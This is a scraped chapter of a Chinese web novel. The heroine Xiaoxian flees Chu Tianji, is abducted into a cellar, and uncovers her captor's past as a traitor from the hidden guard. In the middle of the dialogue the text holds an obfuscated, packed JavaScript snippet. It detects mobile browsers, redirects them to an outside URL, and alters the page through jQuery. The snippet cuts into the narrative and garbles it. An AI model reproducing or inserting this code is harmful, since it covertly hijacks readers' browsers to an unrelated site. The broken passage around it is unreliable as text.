默认冷灰
24号文字
方正启体

36. 刺杀缘由

作者:青山春雨本书字数:K更新时间:
    “小仙姑娘,你可真有趣。可是,我真不明白,你究竟是谁,让我父亲这般恭敬。”何平英跟着她边走边道。


    小仙环顾后院,向一处走去:“大概是令尊觉得我的木工手艺甚好,可以为公子做些什么?”


    何平英恍然:“小仙姑娘可会做嫁床?我想……”


    小仙推开一处房门,径直走进去,回头道:“会。你把要求都写下来,另外找来上等的木料。紫檀、楠木皆是传世之选。次等榉木,木质扎实坚硬,用几十年没问题。再交一笔定金。”


    何平英一一记下,想起家里库房有上好的梨花木,跟进房:“梨花木如何?”


    小仙看傻子似看他:“梨花木纹好看,但‘梨’谐音‘离’,民间百姓不说用不用得起,一般人家不会用梨花木做婚嫁床榻,是为取个好兆头。”


    何平英一脸原来如此,见她径直往门洞地下走去,不解地环顾四周:“小仙姑娘?”


    小仙进了冰窖,正寻见楚天机一身白袍在死尸上剥皮取肉,转身就呕了起来。


    楚天机早听到楼上对话,假作不知,此刻人到跟前,无奈的放下手上器械。


    他摘掉手套、口罩,脱下白袍,拉起小仙的手就往楼梯上走,直接撞开不明所以的何平英。


    何平英:“哎,国公大人。”


    待两人出去,他想跟上,又实在好奇冰窖里藏了什么,转身下去瞻了一眼,顿时连隔夜饭都呕了出来。


    “哕!这难道就是白莲教的蛊尸!天啊!”


    院子里,小仙被甩开手,委屈道:“你做什么发这么大火?”


    楚天机长吸口气,呼出地下带来的冰凉气息,转身看去:“找我何事?”


    小仙迟疑着道:“你的伤势已好得差不多,我没必要留在这儿,想同你辞行。”


    楚天机一愣,蹙起眉:“不能走。”


    “为什么?”小仙理直气壮,“你同我说,你我没关系,我又对南旋有印象,想先去南旋寻亲。”


    楚天机烦躁地踱步,回身道:“……接你的人出了意外,你需在这等她们。此外,我已查过,你体内确有生克蛊的痕迹,须把蛊取出来,说不定能让你恢复记忆。”


    小仙抿唇:“那我也想去南旋!”


    “……”楚天机不解,“只因为有点印象?呵,你不关心那些接你的人出了什么意外?”


    “我不关心,我都不记得她们是谁。”小仙垂目看着脚尖,“但我想去南旋。我跟你说一声而已。你没有权利阻止我的去留。”


    楚天机看她转身离去,心头掠过一道光:她是不是已经恢复记忆?如若不然,她不会惧怕被接回去。一旦回去,她就不能再去南旋。


    何平英回到地面院子,一个人都不在,摸了摸发青冰凉的脸。


    今日份谈话任务已经完成,先行回府吧。


    *


    翌日,小仙找马夫套马车,都被楚天机拦下。她气得不理他。


    两日后,她终于寻到机会。


    何海瑞请楚天机尽快处理白莲山庄的事,楚天机得出府。


    飞鱼一脸为难:“公爷,若她要走,我也拦不住啊。”


    “你不准给她套马车。她可以上街,得派人跟着她,不准出城。”楚天机再三严令,“本国公要去趟白莲山庄,一切等我从那回来再说。”


    前脚楚天机带游雀出门,后脚小仙便借着给何平英找木料的借口离开庄园。


    何平英与她已经通气,等小仙从布庄后门出来,在路边行礼:“小仙姑娘,马夫会带你一路向南,前往绿风郡。”


    “多谢何公子。你放心,你要的拔步床,我一定帮你在婚期前赶出来。”


    古时大户人家结婚请期,时日颇长。何况,何平英已经立志通过今岁京城大学学府的考核,成为候选官人,才会回家娶亲,时间尚且充裕。


    小仙告别何平英,坐上马车。


    飞鱼久等她不回,一直到天黑,亲自去找人。


    那些跟在小仙身后的人摸着脑袋回来:“我们被何公子的人打晕,醒来时,人就不见了。”


    飞鱼哭丧脸:“完了。公爷一定会宰了我。赶紧去白莲山庄,通知公爷,夫人跑了。”


    白莲山庄地道里,楚天机查看完地下通道,朝身后的游雀问:“你怎么看?”


    游雀:“以属下之见,公爷炼蛊之处既有缸池、山洞、地窖、棺椁等奇怪之物,而这里确实干净得不像是炼蛊之处。”


    楚天机:“不止如此。伊兰仇取用的白磷不少,若皆从尸身提取,必有炼化之地。”


    他想到伊兰仇提起过母亲,隐隐怀疑,这炼蛊之地在南蜀。


    “南蜀气候,才最适合炼制蛊人。”


    ——难道真和母亲有关?


    楚天机忧心忡忡离开白莲山庄,出府后道:“何大人,封了吧。”


    何海瑞行礼:“是,公爷。”随后下令封堵白莲山庄地下,焚烧庄内一切物饰。


    楚天机还没进卧秋府城就看到奔来的飞鱼等人,得知陛下已离开卧秋府,当即策马扬鞭向南旋府奔去。


    “飞鱼,通知楚真一,除了黍离,其余人不管是谁都拦在卧秋府。”


    飞鱼应声,调转马头向卧秋府奔去。


    *


    楚天机策马狂奔半日一夜,至第二日天明出卧秋府境,入早春城都未赶上云簪的脚步。


    他勒缰停马在早春城外,回头与游雀面面相觑。


    楚天机:“不可能。马车速度不可能这么快,定是我们错过了。”


    “可是,卧秋府城到此仅一条官道。陛下会不会半路改为骑马先入早春城?”


    游雀见他调转马头,上前拦道,“公爷,请您进城打探,属下回官道去找。”


    楚天机看向早春城大门,颔首道:“行,你沿路仔细查找,她会不会在半路出岔子。”待游雀领命离去,他直接策马进城,往早春城府君衙门奔去。


    彼时,小仙正被人抗在肩头,一路奔驰进山,抵达一处山坳。


    “啊——!”她被这人扔进地窖,起身跳起来敲顶上石板,几下都够不着,“你是谁?放我出去。”


    “呵,女帝陛下,放心吧。属下不会杀你,但也不能放了您。”地上人说着便离开。


    小仙一愣,琢磨他的话,越发心惊。


    “喂,你知道我是谁还敢绑我,不要命了?”


    一个大包裹兜头砸下。


    小仙躲开后瞥见一闪而过的红色蜀袍,皱紧眉:“喂!你回来!”


    久喊不应,低头翻捡包裹,里面是两壶水,十张干饼……这配置,她熟悉。


    南蛮山顶下到崖底修水车板时,工期长无法当日往返,便会备下干粮与水在木栈台上休息。


    以这包裹里的饼子数量,大概是三到五天的饭量。


    “喂,别把我丢在这啊。你过来!喂!”


    “呵,陛下当真聪慧。这正是你十天的干粮,若十天内无人来此救您。那么,大庆就要改朝换代了。”


    “十天?这只够我三天啊!”小仙心里一急,喊道:“你是谁?你是我母皇的人。”


    离去的脚步一顿,忽得又返回蹲在地窖边。


    “小陛下是如何猜到的?”


    小仙旋看四周,全是砖石夯筑,上面涂抹桐漆防潮返水。徒手断难攀爬逃脱,必须设法留下此人。


    “你对我自称属下,而我并不记得有你这一号人物。你自然是我母皇的人。”


    “不错。多年习惯,确实难改。小陛下,属下很好奇,您是什么时候恢复记忆的?是在白莲山庄见到楚天机之时?可据我所知,你和他向来不对付。”


    小仙捶着脑袋试图加快思考,可这几年远离朝堂,过着修板闲散的自在日子,脑子着实生疏了。


    她试着爬墙,边道:“我为何要告诉你?还有,你既知道我失忆,知我身份,应该也知我这几年在何处生活吧?”


    “嗯。荷卿府南蛮村,确实是人迹罕至的地方。您与您的母亲不同,她生逢乱世又是后周皇室,注定不能独善其身。而您,倚仗朝中那些老臣,能在山野民间偷闲造车,造福一方百姓,真是有趣又心善。”


    小仙听他赞誉都有些不好意思,离开皇城、独自在外,即使恢复记忆都不曾回京,不过是不想成为大庆的囚徒女帝。


    每日按固定的节奏做着理应要做的事。


    所谓的帝皇权威不过在一间小小的木工作坊。但凡离开那个房间,麻姑、稷姜、菽娇等等都会围着你转;


    孙衍几、东方川等大人需要出现时出现,离开时就离开,而她——轩辕云簪,只能身在这牢笼里成为雕塑般的存在。


    小仙压下过去五年的独孤时光,仰首道:“你果然知道!呵,说来我得谢谢你。若你不给我机会,我是断然不可能在山野自在三年。”


    守成富民,说白了是大庆的吉祥物。当今女帝不需要做多余的事,这辈子待在庆宫,盖印生子,便是一生。


    小仙眸光变利,忽然问:“祁药儿和你是什么关系?”


    男人微顿,似未料到她会如此问,淡笑了声:“那孩子不错,可惜笨了些,不及仇儿聪慧。”


    “你……是祁药儿的父亲,伊兰仇的义父?”小仙震惊。


    “呵,”男人忽生了兴致,索性坐在地窖口,“小陛下又是如何猜到的?祁药儿可是当我已经死了。”


    小仙放弃无用的攀爬,双手已被油漆磨得发热生疼。


    她泄气地坐在地上,拿起水壶喝口水:“祁药儿一直想见你,即使他从伊兰仇处知道你死了,也想去祭拜你。


    我很好奇。


    我在东都府的山道出事,摔下悬崖,掉进河池。


    第一个把我捞起来得人到底是谁?”


    “小陛下不是看到他的眼睛。”


    “不是伊兰仇。”小仙断言,“起初,我一直怀疑是祁药儿。后来,我发现他不是。他虽占有欲强又喜瞒我事,对我倒有几分真心爱护。


    当伊兰仇提起义父时,我便想到这个人或许是你。


    可是,伊兰仇说,你死了。”


    “哦,愿闻其详!”


    “当年,黍离等人找到河童镇时用了近二十多天时间。以河童镇距离我掉下去的山口,至少有四天路程。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917137|177003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    由此可见,我掉下山涧昏迷,至醒来时,被挪过位置。你们故意把我抛进连通洛川江涨水的河道,让祁药儿捡到我!”


    啪啪啪的掌声从头顶的洞口传来。


    “不错。属下把你从水里捞起来,让阿仇喂你服下生克蛊。小陛下,体内有前周太医高苗培育出来的金蝉圣蛊。


    此蛊百毒不侵,万蛊臣服。


    即使是楚天机培育出来专门克制你的生克蛊,亦不能把你如何,至多……不对,你失忆也不一定是生克蛊导致,或许是你在山水河道里撞到石头所致。


    小陛下是什么时候恢复记忆?


    圣蛊修复圣体,属下猜测应该很早吧。”


    “也没你想得那么早。”小仙摸在后脑勺处,脑内淤血逐渐消散,记忆就在慢慢恢复。此中,当得感谢伊兰仇给祁药儿的儒门医典。


    忽然觉得,这几人对祁药儿倒是有几分真心。


    “等我把事情连贯,就明白了此中手段。”


    男人轻笑着赞道:“不愧是陛下和东暹王的女儿,当真是聪慧。那你猜猜,属下又为何要把你送给我那小义子祁药儿?”


    小仙讶然,祁药儿竟也不是他亲生的孩子。


    难怪他舍得下祁药儿,只带伊兰仇离开河童镇。


    “你既尊我母皇,又以王爵称呼我父。我父母与你无冤无仇,为何要如此待我?”


    男人顿了顿,轻嗤道:“小陛下不必一直套我话。同你讲个故事,你就明白了。”


    小仙吃饱喝足,拍手起身,再次沿着石壁摸索,试图找到可以攀上去的地方。


    如若爬不上去,寻到松动石壁,撬下来当垫脚石也是办法。


    只可惜,轩辕枪留给了楚天机,手头只有一把刺刃。


    那玩意杀人好用,撬石头却是鸡肋。


    男人不在意她在下面做什么,因为他知道她爬不上来。


    “……他们两小无猜,情谊甚笃,直到一日,一个男人闯入寨子。他想盗取寨中圣药——雪蝉蛊,去救他最心爱的女人。


    不幸的是他被寨中阿姆擒获,扔入水牢。”


    小仙摸索完整个地窖,气恼跺脚,仰首道:“难道那女孩对这男人生了好奇,还爱上他了?”


    “不错。女孩日日去找他聊天,想知道南蜀以外的世界。等她听完男人的故事,对他生出敬意,答应帮他偷雪蝉蛊,送他出寨。”


    男人仰头看向天上浮云,抚在烂了半边的脸,听地窖下没了动静,好笑提醒,“小陛下不必白费功夫。我对你父亲极其了解,以他的手艺,万丈悬崖之下都能爬回来。故此,对付你这小木匠,也是下足功夫。”


    地窖曾关押饲养蛊人的仆人,也做了防逃手段。


    “好吧。后来呢?你是那个……求而不得的竹马?”


    男人知道她看不见,依旧轻轻笑了声:“倒也得到过。


    只是,我未曾珍惜。


    后来,男人被放走了,女孩在寨子里对他朝思暮想,甚至动念离开寨子去外面找他。


    男孩得知后,告诉了寨中阿姆。阿姆强行把她留下。”


    “那女孩一定恨透了这竹马。”


    男人停了一会,似乎不明白她这句话的转变,不解中又摇头:“为何恨我?那男人在外有心上人,即使她找去,也注定没有结果。我留下她是为她好。”


    “呵,从前,我也这样以外,留下他是为他为自己好。


    然而,母皇说:强扭的瓜不甜。


    你的手段很好,攻人在于攻心,而非强夺。不过,听你的意思,你还是失败了。”小仙轻笑,“她没恨你,看来你做得很隐蔽,没让她知道是你告密。”


    男人轻叹,又自得笑了声:“呵,是啊。我自也不笨,岂能让她知道是我告密。”


    “阻得了一时,阻不了一世。除非,她想开,能把他忘了。”小仙跟进道。轩辕家擅察人心,便是从他们的一言一语中了解。


    男人越发感慨:“是。若陛下和东暹王不来,她或许真会把他忘却。但是,他们来了,也带来了那男人的消息。”


    小仙豁然跳起来。


    她听过这个故事,发生在南蜀五毒寨。


    以他的故事做参照,故事中的女孩正是楚天机的母亲,南蜀府君五毒银花,而那取药离开的男人正是楚天机之父,当年的护国大将军楚甲子。


    此人是谁?


    爱而不得,与五毒府君一起长大的青梅竹马——是他?!


    可他不是在任务中死了吗?


    “陛下和东暹王也来寻找解蛊秘药。可惜,当时的阿姆根本解不开两人体内的情蛊。两人也因此生情,留在寨中成亲。


    待他们走时,女孩一并跟了出去,还带走当时南蜀最年轻厉害的五十名毒蛊师。”


    “你是隐卫营的人!!!”小仙咬牙道。


    男人似乎不意外她能猜到,快口道:“不错。属下曾经确实是隐卫营的人。”


    “三年前,隐卫叛变,我母皇和父亲双双坠入洛川江,正是因你之故!”


    小仙握紧双拳,仰头盯向地窖口的石板缝隙,试图看清男人的脸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)